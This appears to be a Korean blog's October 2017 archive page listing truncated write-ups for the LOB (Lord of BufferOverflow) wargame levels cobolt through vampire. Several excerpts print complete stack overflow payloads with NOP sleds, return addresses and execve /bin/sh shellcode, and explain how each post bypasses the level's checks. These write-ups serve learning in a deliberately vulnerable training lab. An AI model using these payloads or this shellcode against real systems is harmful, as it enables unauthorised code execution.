본문 바로가기

2017/10

vampire 낮엔 자고 밤엔 돌아댕기는 뱀파이어 마치 나와 같구만 울트라 argv 헌터란다. 꽤나 울트라 하다. 이번엔 어디에다가 shellcode를 넣어야 하나... 왠지 모르겠지만 스택의 맨 위에 argv[0]이 있다. 앞의 argv[0]을 사용한 문제와 동일하게 풀면 되겠다. argv[0]이 왜 저기 또 있을까??
troll 트롤하자~~ 요약하자면 argv[1][47]은 \xbf여야하고 48은 \xff가 아니어야 한다. 그런데 stack은 0xc0000000부터 거꾸로 자라기 때문에 stack에 0x10000이상 안들어가는 이상 0xbfff~~~~일 수 밖에 없다. 다시 말하면 0x10000이상 넣으면 된다. 다행히 다른 제약조건이 없어져서 argv[1]에 왕창 넣을 수 있다. 0x90을 100000개쯤 넣어보자 stack주소가 0xbffe~~~~까지 내려온 것을 볼 수 있다. 그럼 중간에 shellcode를 넣어 payload를 만들어보자 ./vampire `python -c 'print "A"*44+"\xc0\x74\xfe\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x..
orge orc는 오크인데 orge는 뭘까 오르그?? 대놓고 여기여기 바꿨다고 써놨다. 보면 argc가 2여야하고 argv[1]을 마지막에 0으로 초기화한다. ( 다른 장치는 이전 문제와 같으니 생략하자 ) 그럼 argv[0] 하나가 남는다. argv[0]에 "0x90"*200 + "shell code"가 들어가야 한다. 그래서 저 문자열을 포함한 폴더를 하나 만들었다. 저 안에 troll파일을 넣어 분석해보면 argv[0]이 저장되는 위치를 알 수 있다. 0x90909090이 반복되는 부분이 argv[0]이 저장되는 위치이다. payload는 폴더이름때문에 쓸 수가 없다.... "\x90"*100 + "shellcode" + "\x90"*100으로 바꾸니 됐다. 왜 이건 되고 "\x90"*200 + "shell..
darkelf 들어가는 말을 포멧으로 만들던가 해야지 매번 할말이 없다. 코드나 보자 대놓고 '여기가 바뀜'이라고 해놨다. ( 나머진 똑같으니 생략했다. ) argb[0]이 77개가 되야된다. ./orge 이걸 어떻게 77개로 만들까 하니 ././././././././././././././././././././././././././././././././././././/orge 이것밖엔 생각이 안나서 이대로 해보았다. argv[0]을 77개로, 나머지는 저번 문제와 동일하게 테스트했다. argv[2]가 저장되는 주소가 0xbffffba4로 확인되었다. RET에 넣을 주소를 확인했으니 payload를 만들어보자 ./././././././././././././././././././././././././././././././..
wolfman 판타지 소설로 치닫고 있는 lob 이번엔 늑대인간 코드다 ( password도 늑대인간스럽다. ) 이번엔 argv[1]의 길이를 체크해준다. 이걸 우회할 방법을 이것저것 생각해봤다. 1. buffer에 shellcode 0x90이 많이 안들어가서 segmentation 오류가 계속 난다. 2. "A"*44+"주소"+"0x00"+"\x90"*200+"쉘코드" 해보니까 0x00뒤론 그냥 안들어간다. 삽질하다 검색으로 찾은 방법은 argv[2]이다. 결국 argv도 main의 parameter니까 ebp뒤에 있을거다. argv[2]에 쉘코드를 넣고 이 주소로 jump시키면 쉘코드를 실행할 것이다. argv에 \xbf를 48개 넣고 " "를 넣은 뒤 0x90을 200개 넣어보았다. ebp부터 쭉 찾아보니 909..
orc 이쯤되니 앞으로의 단계에 붙여질 몬스터 이름이 기대가 된다. goblin에서 buffer hunter가 추가되었다. goblin은 쉘코드를 buffer에 넣어서 푸는게 정석이었다보다. 그냥 goblin payload를 주소만 바꿔서 만들면 된다. 생략하고 payload는 다음과 같다. ./wolfman `python -c 'print "A"*44 + "\x80\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'` 아예 똑같다....
goblin 코드ㄱㄱ egg hunter가 뭘까 싶고 그냥 payload를 쓰면 argv[1][47]가 뭐가 될지 모르겠다. 이 두 가지가 없다고 가정하고 일단 payload를 만들어보자. 0x080485c2는 strcpy를 수행한 다음 명령어이다. argv[1][47]이 0xbf로 맞춰야 하기 때문에 그냥 몽땅 0xbf로 넣었다. 0x00000013은 int i이고 이후 40byte가 buffer이므로 RET는 0xbffffb4c이다. 그럼 payload는 다음과 같다. ./orc `python -c 'print "A"*44 + "\x80\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x..
cobolt 이번에도 바로 풀이 시~~작!! gremlin과 다른 점이라면 input을 argv가 아닌 stdin으로 받는다는 점이다. gremlin과 같은 payload를 stdin으로 주면 된다. 그래도 return할 주소값은 확인해보자 RET의 주소는 0xbffffb7c이다. gremlin의 payload를 RET주소 뒤의 임의의 주소를 실행하게만 바꿔주면 된다. stdin에 python code의 출력결과를 redirect해주는 방식이 따로 있다. (python -c 'print ""';cat) | ./goblin 이렇게 해주면 pipe로 연결되 python의 출력을 goblin의 stdin으로 사용하게 된다. 즉 payload는 다음과 같다. (python -c 'print "A"*20 + "\xa0\xfb..